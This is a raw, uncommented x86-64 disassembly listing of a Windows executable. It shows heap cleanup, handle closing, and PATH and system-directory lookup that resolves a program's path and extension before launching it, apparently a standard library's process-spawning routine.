mov r14, qword [rsp + 0x300]
mov r12, qword [rsp + 0x308]
dec qword [rsp + 0x2a8]
mov rsi, qword [rsp + 0x318]
mov rdi, qword [rsp + 0x320]
cmp byte [rsp + 0x708], 0
je 0x140006158
cmp qword [rsp + 0x88], 0
je 0x140002d2d
mov r8, qword [rsp + 0x78]
mov rax, qword [r8 + 0x3d8]
mov qword [rsp + 0x298], rax
mov rcx, qword [rsp + 0x88]
dec rcx
mov qword [rsp + 0x2a0], rcx
mov qword [rax + 0x160], 0
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
movabs rax, 0x8000000000000000
cmp r13, rax
je 0x1400058bd
test r13, r13
je 0x140006181
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
test r14, r14
je 0x140006197
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
shl rsi, 1
test rsi, rsi
je 0x1400058bd
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rdi
jmp 0x1400058b8
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x80], rax
movzx eax, byte [0x14017a148]
mov edx, 4
xor ecx, ecx
call fcn.1400dbb10
mov qword [rsp + 0x78], rax
test rax, rax
je 0x140002d2d
mov rcx, qword [rsp + 0x78]
mov dword [rcx], 0x48544150
mov rax, rcx
add rax, 4
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x2e8], rax
mov word [rsp + 0x2f0], 0
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x2e0]
call fcn.1400db950
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x88], rax
mov rbx, qword [rsp + 0xd8]
cmp qword [rsp + 0x60], 0
jne 0x140006893
xor eax, eax
mov qword [rsp + 0x58], rax
jmp 0x140006932
mov qword [rsp + 0x2e8], 0
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x2f0], rcx
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x308], 0
mov qword [rsp + 0x310], rcx
mov qword [rsp + 0x318], rax
mov eax, 1
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x320], rax
lea rcx, [rsp + 0x2e0]
call fcn.1400ded50
cmp dword [rsp + 0x720], 3
ja 0x140006300
movq rsi, xmm6
mov r14b, 1
mov edi, 2
mov r12, rsi
jmp 0x140006327
mov edi, 2
mov rcx, qword [rsp + 0x728]
call sub.KERNEL32.dll_CloseHandle
cmp rdi, 2
sete r14b
movq rsi, xmm6
test r14b, 1
cmovne r12, rsi
lea rax, [0x1400ffe3e]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x5a5e2562fd5f73c
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e9280
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov ecx, dword [rax + 0x10]
movzx ecx, byte [rax + 0x16]
movzx eax, word [rax + 0x14]
test r14b, r14b
jne 0x140002d2d
pshufd xmm0, xmm6, 0xee
movq r14, xmm0
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
mov rcx, r14
call sub.KERNEL32.dll_CloseHandle
test rdi, rdi
jne 0x1400063ce
test rbx, rbx
jne 0x1400063db
test rbp, rbp
jne 0x1400063ea
cmp qword [rsp + 0x170], 0
jne 0x1400063ff
mov rsi, qword [rsp + 0x1a0]
test rsi, rsi
je 0x140006422
jmp 0x14000648a
mov rcx, r12
call sub.KERNEL32.dll_CloseHandle
test rbx, rbx
je 0x1400063ac
mov rcx, qword [rsp + 0x68]
call sub.KERNEL32.dll_CloseHandle
test rbp, rbp
je 0x1400063b1
mov rcx, qword [rsp + 0x60]
call sub.KERNEL32.dll_CloseHandle
cmp qword [rsp + 0x170], 0
je 0x1400063bc
mov r8, qword [rsp + 0x178]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rsi, qword [rsp + 0x1a0]
test rsi, rsi
jne 0x14000648a
cmp qword [rsp + 0x190], 0
je 0x140006443
mov r8, qword [rsp + 0x198]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x1f8]
test rax, rax
je 0x140006be9
mov r12, rax
mov rsi, qword [rsp + 0x208]
mov rdi, qword [rsp + 0x200]
test rsi, rsi
jne 0x1400064e1
test rdi, rdi
je 0x140006ba5
mov rax, rdi
and rax, 7
jne 0x140006b48
mov rax, rdi
jmp 0x140006b60
mov rdi, qword [rsp + 0x198]
add rdi, 0x10
jmp 0x1400064a1
add rdi, 0x28
dec rsi
je 0x140006422
cmp qword [rdi - 8], 0
je 0x140006498
mov r8, qword [rdi]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x140006498
xor ecx, ecx
cmp rbx, rcx
je 0x140006a72
movzx edx, byte [r12 + rcx]
cmp edx, 0x2f
je 0x140006987
inc rcx
cmp edx, 0x5c
jne 0x1400064bd
jmp 0x140006987
xor ebx, ebx
jmp 0x1400064f4
mov r12d, 0
dec rsi
je 0x14000715a
test rbx, rbx
jne 0x140006578
test rdi, rdi
je 0x140006524
mov rax, rdi
and rax, 7
je 0x140006529
xor ecx, ecx
mov r12, qword [r12 + 0x3d8]
inc rcx
cmp rax, rcx
jne 0x140006509
mov rbx, r12
mov rax, rdi
sub rax, rcx
jmp 0x14000652f
mov rbx, r12
jmp 0x140006573
mov rbx, r12
mov rax, rdi
cmp rdi, 8
jb 0x140006573
mov rcx, qword [rbx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rbx, qword [rcx + 0x3d8]
add rax, 0xfffffffffffffff8
jne 0x140006535
xor edi, edi
xor r12d, r12d
movzx eax, word [rbx + 0x3d2]
cmp rdi, rax
jae 0x14000658c
mov r15, rdi
mov r14, rbx
jmp 0x1400065c5
mov r8, rbx
mov r14, qword [r8 + 0x160]
test r14, r14
je 0x140006884
inc r12
movzx r15d, word [r8 + 0x3d0]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov r8, r14
cmp r15w, word [r14 + 0x3d2]
jae 0x14000658f
test r12, r12
je 0x140006647
mov rbx, qword [r14 + r15*8 + 0x3e0]
mov rax, r12
dec rax
je 0x140006643
mov rcx, rax
and rcx, 7
je 0x1400065fb
mov rax, rcx
mov rbx, qword [rbx + 0x3d8]
dec rax
jne 0x1400065e6
not rcx
add rcx, r12
mov rax, rcx
add r12, 0xfffffffffffffffe
cmp r12, 7
jb 0x140006643
mov rcx, qword [rbx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rbx, qword [rcx + 0x3d8]
add rax, 0xfffffffffffffff8
jne 0x140006605
xor edi, edi
jmp 0x14000664e
lea rdi, [r15 + 1]
mov rbx, r14
imul rax, r15, 0x38
lea r12, [r14 + rax]
add r12, 0x168
cmp qword [r14 + rax + 0x168], 0
je 0x14000667b
mov r8, qword [r12 + 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [r12 + 0x20], 0
je 0x140006696
mov r8, qword [r12 + 0x28]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
shl r15, 5
mov rax, qword [r14 + r15]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400064e5
test rax, rax
je 0x1400064e5
add r14, r15
mov r8, qword [r14 + 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x1400064e5
lea rbx, [rsp + 0x300]
lea r15, [rsp + 0xd0]
lea r13, [rsp + 0x2e0]
lea rbp, [rsp + 0x7b0]
mov rdi, qword [rsp + 0x58]
jmp 0x140006709
cmp word [r14], 0
mov rdi, r14
je 0x14000587d
mov rsi, 0xffffffffffffffff
mov rcx, 0xfffffffffffffffe
mov rax, rcx
cmp word [rdi + rsi*2 + 2], 0
lea rsi, [rsi + 1]
lea rcx, [rcx + 2]
jne 0x140006717
lea r14, [rdi + rsi*2]
add r14, 2
cmp rsi, 1
je 0x1400066fb
test rsi, rsi
je 0x140002d2d
xor r12d, r12d
cmp word [rdi + r12*2 + 2], 0x3d
je 0x140006758
inc r12
add rax, 0xfffffffffffffffe
jne 0x140006744
jmp 0x1400066fb
cmp r12, rsi
jae 0x140002d2d
lea r8, [r12 + 1]
mov rcx, r15
mov rdx, rdi
call fcn.1400e74f0
add r12, 2
sub rsi, r12
jb 0x140002d2d
lea rdx, [rdi + r12*2]
mov rcx, rbx
mov r8, rsi
call fcn.1400e74f0
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
mov rsi, qword [rsp + 0x2e0]
mov rdi, qword [rsp + 0x2e8]
movdqa xmm6, xmmword [rsp + 0x2f0]
movdqu xmm0, xmmword [rbx]
movdqu xmm1, xmmword [rbx + 0x10]
movdqa xmmword [rsp + 0x7b0], xmm0
movdqa xmmword [rsp + 0x7c0], xmm1
movabs rax, 0x8000000000000000
cmp rsi, rax
je 0x14000587d
movq rax, xmm6
add rax, rdi
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], rax
mov word [rsp + 0xe0], 0
lea rcx, [rsp + 0x300]
mov rdx, r15
call fcn.1400db950
mov qword [rsp + 0x2e0], rsi
mov qword [rsp + 0x2e8], rdi
movdqu xmmword [rsp + 0x2f0], xmm6
mov rcx, r15
lea rdx, [rsp + 0x298]
mov r8, r13
mov r9, rbp
call fcn.1400dd430
mov rax, qword [rsp + 0xd0]
shl rax, 1
test rax, rax
je 0x1400066fb
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x1400066fb
mov edx, 8
mov rcx, r8
call fcn.14000bf80
ud2
mov rdi, qword [rsp + 0xe0]
xor eax, eax
mov qword [rsp + 0x58], rax
mov r13, qword [rsp + 0x68]
mov r15, qword [rsp + 0x60]
lea rcx, [r15 + 0x168]
movzx r12d, word [r15 + 0x3d2]
imul r14, r12, 0x38
mov rbp, 0xffffffffffffffff
test r14, r14
je 0x1400068ff
lea rsi, [rcx + 0x38]
mov r8, qword [rcx + 0x28]
mov r9d, dword [rcx + 0x30]
mov dword [rsp + 0x20], 1
mov rcx, rbx
mov edx, edi
call sub.KERNEL32.dll_CompareStringOrdinal
add r14, 0xffffffffffffffc8
inc rbp
mov rcx, rsi
cmp eax, 3
je 0x1400068c6
cmp eax, 1
je 0x140006902
jmp 0x140006916
mov rbp, r12
sub r13, 1
jb 0x1400074c5
mov r15, qword [r15 + rbp*8 + 0x3d8]
jmp 0x1400068ac
cmp eax, 2
jne 0x14000570d
shl rbp, 5
mov rax, qword [r15 + rbp + 8]
mov qword [rsp + 0x58], rax
mov r15, qword [r15 + rbp + 0x10]
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x78]
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x88], 0
je 0x14000569a
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
jmp 0x14000569a
xor ecx, ecx
cmp rbx, rcx
je 0x140006a72
movzx edx, byte [r12 + rcx]
cmp edx, 0x2f
je 0x140006987
inc rcx
cmp edx, 0x5c
jne 0x14000696c
test rbx, rbx
js 0x140002d2d
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, rbx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov rsi, rax
mov rcx, rax
mov rdx, r12
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], rsi
mov qword [rsp + 0x2f0], rbx
mov byte [rsp + 0x2f8], 0
lea rdx, str..exeprogram_not_found
lea rcx, [rsp + 0x2e0]
mov r8d, 4
call fcn.1400e7280
mov rdi, qword [rsp + 0x2e0]
mov rsi, qword [rsp + 0x2e8]
mov rbx, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x788]
mov rdx, rsi
mov r8, rbx
call fcn.1400de7f0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x788], rax
jne 0x140006cc7
mov rcx, rsi
mov rdx, rbx
call fcn.1400e63e0
test rax, rax
je 0x1400074f3
cmp rdx, 2
jne 0x14000712c
movzx ecx, word [rax]
cmp ecx, 0x2e2e
jne 0x14000712c
mov ecx, 2
xor r8d, r8d
jmp 0x1400074d3
xor r9d, r9d
lea rcx, [0x14016e198]
mov qword [rsp + 0x78], rcx
mov rcx, r12
jmp 0x140006a92
xor r9d, r9d
test dx, dx
je 0x14000574a
mov dx, 1
test r9w, r9w
jne 0x140006a86
cmp rcx, rax
je 0x140006ca2
movzx r9d, byte [rcx]
test r9b, r9b
js 0x140006ab9
inc rcx
mov r8d, r9d
jmp 0x140006b3d
mov r8d, r9d
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp r9b, 0xdf
jbe 0x140006b06
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp r9b, 0xf0
jb 0x140006b13
movzx r9d, byte [rcx + 3]
add rcx, 4
and r8d, 7
shl r8d, 0x12
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
or r8d, r9d
jmp 0x140006b1e
add rcx, 2
shl r8d, 6
or r8d, r11d
jmp 0x140006b3d
add rcx, 3
shl r8d, 0xc
or r8d, r10d
cmp r8d, 0xffff
jbe 0x140006b3d
and r8d, 0x3ff
or r8d, 0xdc00
mov r9d, r8d
jmp 0x140006a89
xor r9d, r9d
mov edx, r8d
jmp 0x140006a89
xor ecx, ecx
mov r12, qword [r12 + 0x3d8]
inc rcx
cmp rax, rcx
jne 0x140006b4a
mov rax, rdi
sub rax, rcx
cmp rdi, 8
jb 0x140006ba5
mov rcx, qword [r12 + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov r12, qword [rcx + 0x3d8]
add rax, 0xfffffffffffffff8
jne 0x140006b66
mov rsi, r12
mov rax, qword [r12 + 0x160]
test rax, rax
je 0x140006bd8
mov r8, rsi
mov rsi, rax
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsi + 0x160]
mov r8, rsi
test rax, rax
jne 0x140006bb8
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x1a8]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140006c1b
test rax, rax
je 0x140006c1b
mov r8, qword [rsp + 0x1b0]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov eax, dword [rsp + 0x1c8]
cmp eax, 4
jae 0x140006c66
mov eax, dword [rsp + 0x1d8]
cmp eax, 4
jae 0x140006c7a
mov eax, dword [rsp + 0x1e8]
cmp eax, 4
jae 0x140006c8e
lea rcx, [rsp + 0x218]
call fcn.1400ef7c0
mov rcx, qword [rsp + 0x740]
mov rdx, qword [rsp + 0x748]
call fcn.1400eceb0
call fcn.140008b40
cmp eax, 6
je 0x140006c27
mov rcx, qword [rsp + 0x1d0]
call sub.KERNEL32.dll_CloseHandle
jmp 0x140006c27
cmp eax, 6
je 0x140006c33
mov rcx, qword [rsp + 0x1e0]
call sub.KERNEL32.dll_CloseHandle
jmp 0x140006c33
cmp eax, 6
je 0x140006c3f
mov rcx, qword [rsp + 0x1f0]
call sub.KERNEL32.dll_CloseHandle
jmp 0x140006c3f
cmp rbx, 0xf
ja 0x140006cee
lea rax, [rbx - 1]
xor ecx, ecx
cmp byte [r12 + rcx], 0x2e
sete dil
je 0x140006d03
lea rdx, [rcx + 1]
cmp rax, rcx
mov rcx, rdx
jne 0x140006cae
jmp 0x140006d03
mov rax, qword [rsp + 0x798]
mov qword [rsp + 0x6f0], rax
movdqu xmm0, xmmword [rsp + 0x788]
movdqa xmmword [rsp + 0x6e0], xmm0
jmp 0x140007576
mov cl, 0x2e
mov rdx, r12
mov r8, rbx
call fcn.14003e910
cmp rax, 1
sete dil
mov byte [rsp + 0x77], dil
cmp qword [rsp + 0x58], 0
jne 0x140006daa
lea rcx, [rsp + 0xd0]
call fcn.1400e2d30
mov rbx, qword [rsp + 0xd0]
movabs rax, 0x8000000000000000
cmp rbx, rax
jne 0x140006ef1
mov rax, qword [rsp + 0xd8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140006fd7
test rcx, rcx
je 0x140006fd7
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140006d94
cmp qword [rbx + 0x10], 0x11
jb 0x140006d83
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
jmp 0x140006fd7
mov rax, qword [rsp + 0x58]
add r15, rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], r15
mov word [rsp + 0xa0], 0
mov byte [rsp + 0xa8], 1
lea rsi, [rsp + 0x2e0]
lea r14, [rsp + 0x90]
lea r13, [rsp + 0xd0]
lea rbp, [rsp + 0x708]
jmp 0x140006e11
mov r15, qword [rsp + 0x708]
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x140008312
mov rcx, rsi
mov rdx, r14
call fcn.1400dc600
mov rax, qword [rsp + 0x2e0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140006d14
mov r8, qword [rsp + 0x2e8]
mov rcx, qword [rsp + 0x2f0]
test rcx, rcx
jne 0x140006e61
test rax, rax
je 0x140006e11
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x140006e11
mov rdx, qword [rsp + 0x2f8]
mov qword [rsp + 0xd8], r8
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xd0], rax
mov rcx, r13
mov rdx, r12
mov r8, rbx
call fcn.1400e5210
test dil, dil
jne 0x140006eb1
mov r8d, 3
mov rcx, r13
lea rdx, str.exemain
call fcn.1400e6500
mov r15, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
mov rcx, rbp
mov rdx, r15
call fcn.1400de7f0
cmp qword [rsp + 0xd0], 0
je 0x140006df6
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
jmp 0x140006df6
mov rsi, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xe0]
mov r14, qword [rsp + 0xe8]
mov rcx, rsi
mov rdx, rdi
call fcn.1400e5e30
cmp rdi, rdx
cmovb rdx, rdi
test rax, rax
cmove rdx, rdi
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], rsi
mov qword [rsp + 0x2f0], rdx
mov qword [rsp + 0x2f8], r14
mov rdx, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d8]
lea rcx, [rsp + 0x2e0]
call fcn.1400e5210
cmp byte [rsp + 0x77], 0
jne 0x140006f80
lea rdx, str.exemain
lea rcx, [rsp + 0x2e0]
mov r8d, 3
call fcn.1400e6500
mov rsi, qword [rsp + 0x2e8]
mov r8, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x298]
mov rdx, rsi
call fcn.1400de7f0
cmp qword [rsp + 0x2e0], 0
je 0x140006fbc
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov r15, qword [rsp + 0x298]
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x14000725e
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x148], 2
mov qword [rsp + 0x150], 0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x58], rax
xor r15d, r15d
mov r12d, 0xffffffff
xor esi, esi
xor ebx, ebx
cmp r8, 0x201
jb 0x140007032
jmp 0x140007045
jae 0x140007177
cmp r8, 0x201
jae 0x140007045
mov r13d, 0x200
lea rdi, [rsp + 0x2e0]
mov r14, r8
jmp 0x140007072
sub r8, rbx
sub rsi, rbx
cmp rsi, r8
jb 0x1400070c8
cmp r15, r12
mov ebx, 0xffffffff
cmovb rbx, r15
mov qword [rsp + 0x150], rbx
mov rsi, r15
mov r13, rbx
mov rdi, qword [rsp + 0x58]
mov r14, rbx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rcx, rdi
mov edx, r14d
call sub.KERNEL32.dll_GetSystemDirectoryW
mov ebp, eax
test eax, eax
jne 0x140007097
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x140007278
mov r8d, ebp
cmp r14, r8
jne 0x140007023
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x140002d2d
add r14, r14
cmp r14, r12
cmovae r14, r12
mov r8, r14
cmp r8, 0x201
jae 0x140007045
jmp 0x140007032
lea rcx, [rsp + 0x140]
mov rdx, rbx
call fcn.1400e6fe0
mov r15, qword [rsp + 0x140]
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x58], rax
jmp 0x140007050
mov rdx, qword [rsp + 0xe0]
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], rdx
lea rcx, [rsp + 0x6e0]
lea rdx, [rsp + 0x2e0]
call fcn.1400dc530
jmp 0x14000758c
mov rcx, rdx
test rcx, rcx
je 0x1400074b1
mov r9, rcx
dec rcx
cmp byte [rax + r9 - 1], 0x2e
jne 0x14000712f
test rcx, rcx
jne 0x1400074ca
xor r8d, r8d
mov rcx, rdx
jmp 0x1400074d3
mov r12, rbx
test rbx, rbx
jne 0x140006ba5
xor r12d, r12d
test rdi, rdi
jne 0x140006475
jmp 0x140006ba5
cmp r13, r8
jb 0x140002d2d
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov rdx, rdi
call fcn.1400e74f0
mov rdx, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d8]
mov rcx, rsi
call fcn.1400e5210
cmp byte [rsp + 0x77], 0
jne 0x1400071cc
lea rdx, str.exemain
lea rcx, [rsp + 0xd0]
mov r8d, 3
call fcn.1400e6500
mov rsi, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
lea rcx, [rsp + 0x90]
mov rdx, rsi
call fcn.1400de7f0
cmp qword [rsp + 0xd0], 0
je 0x140007208
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov r15, qword [rsp + 0x90]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x78], rax
mov rsi, qword [rsp + 0xa0]
cmp qword [rsp + 0x140], 0
je 0x140007246
mov r8, qword [rsp + 0x148]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
movabs rax, 0x8000000000000000
add rax, 2
cmp r15, rax
jl 0x1400072bb
jmp 0x1400075bc
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x78], rax
mov rsi, qword [rsp + 0x2a8]
jmp 0x1400075bc
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x140], 0
je 0x1400072a7
mov r8, qword [rsp + 0x148]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
add qword [rsp + 0x78], 2
movabs rax, 0x8000000000000000
lea r15, [rax + 1]
mov rcx, r15
mov rdx, qword [rsp + 0x78]
call fcn.1400de900
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x2d0]
lea r8, [rsp + 0x77]
call fcn.1400e34f0
mov r15, qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x78], rax
movabs rax, 0x8000000000000000
add rax, 2
cmp r15, rax
jge 0x1400074b8
mov rcx, r15
mov rdx, qword [rsp + 0x78]
call fcn.1400de900
lea rdx, str.PATHprogram_path_has_no_file_name
lea rcx, [rsp + 0x140]
mov r8d, 4
call fcn.1400dc840
mov rbp, qword [rsp + 0x140]
movabs rax, 0x8000000000000000
cmp rbp, rax
je 0x14000827a
mov rbx, qword [rsp + 0x148]
mov rax, qword [rsp + 0x150]
add rax, rbx
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], rax
mov word [rsp + 0xa0], 0
mov byte [rsp + 0xa8], 1
lea rsi, [rsp + 0x2e0]
lea r14, [rsp + 0x90]
lea r12, [rsp + 0xd0]
lea r13, str.exemain
lea rdi, [rsp + 0x280]
jmp 0x1400073c9
mov r15, qword [rsp + 0x280]
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x14000832c
mov rcx, rsi
mov rdx, r14
call fcn.1400dc600
mov rax, qword [rsp + 0x2e0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140008264
mov r8, qword [rsp + 0x2e8]
mov rcx, qword [rsp + 0x2f0]
test rcx, rcx
jne 0x140007419
test rax, rax
je 0x1400073c9
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x1400073c9
mov rdx, qword [rsp + 0x2f8]
mov qword [rsp + 0xd8], r8
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d8]
mov rcx, r12
call fcn.1400e5210
cmp byte [rsp + 0x77], 0
jne 0x140007471
mov r8d, 3
mov rcx, r12
mov rdx, r13
call fcn.1400e6500
mov r15, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
mov rcx, rdi
mov rdx, r15
call fcn.1400de7f0
cmp qword [rsp + 0xd0], 0
je 0x1400073ae
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
jmp 0x1400073ae
mov r8, rax
xor eax, eax
jmp 0x1400074d3
mov rsi, qword [rsp + 0x2f0]
jmp 0x1400075bc
jmp 0x140006932
sub rdx, r9
mov r8, rax
add r8, r9
test rax, rax
cmovne r8, rax
test r8, r8
je 0x1400074f3
test rax, rax
cmove rcx, rdx
add r8, rcx
sub r8, rsi
cmp rbx, r8
cmovae rbx, r8
lea rcx, [rsp + 0x2e0]
mov rdx, rsi
mov r8, rbx
call fcn.1400e2bb0
mov rcx, qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x2e8]
movabs rdx, 0x8000000000000000
cmp rcx, rdx
jne 0x140007541
mov qword [rsp + 0x6e8], rax
movabs rax, 0x8000000000000000
mov qword [rsp + 0x6e0], rax
jmp 0x140007576
mov rdx, qword [rsp + 0x2f0]
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], rdx
lea rcx, [rsp + 0x6e0]
lea rdx, [rsp + 0x2e0]
call fcn.1400dc530
test rdi, rdi
je 0x14000758c
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov r15, qword [rsp + 0x6e0]
mov rax, qword [rsp + 0x6e8]
mov qword [rsp + 0x78], rax
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x14000574a
mov rsi, qword [rsp + 0x6f0]
cmp rsi, 5
jb case.0x14000760f.68
mov rax, qword [rsp + 0x78]
lea rax, [rax + rsi*2]
mov rcx, rax
add rcx, 0xfffffffffffffff6
je case.0x14000760f.68
cmp word [rcx], 0x2e
jne case.0x14000760f.68
cmp word [rax - 2], 0
jne case.0x14000760f.68
movzx ecx, word [rax - 8]
lea edx, [rcx - 0x42]
cmp edx, 0x21
ja case.0x14000760f.68
lea r8, [0x14010b0ac]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
movzx edx, word [rax - 6]
or edx, 0x20
cmp edx, 0x61
jne 0x140007629
movzx edx, word [rax - 4]
or edx, 0x20
cmp edx, 0x74
je 0x140007647
cmp cx, 0x43
jne case.0x14000760f.68
movzx ecx, word [rax - 6]
or ecx, 0x20
cmp ecx, 0x6d
jne case.0x14000760f.68
movzx eax, word [rax - 4]
or eax, 0x20
cmp eax, 0x64
jne case.0x14000760f.68
lea rcx, [rsp + 0x2e0]
call fcn.1400de980
mov rcx, qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x2e8]
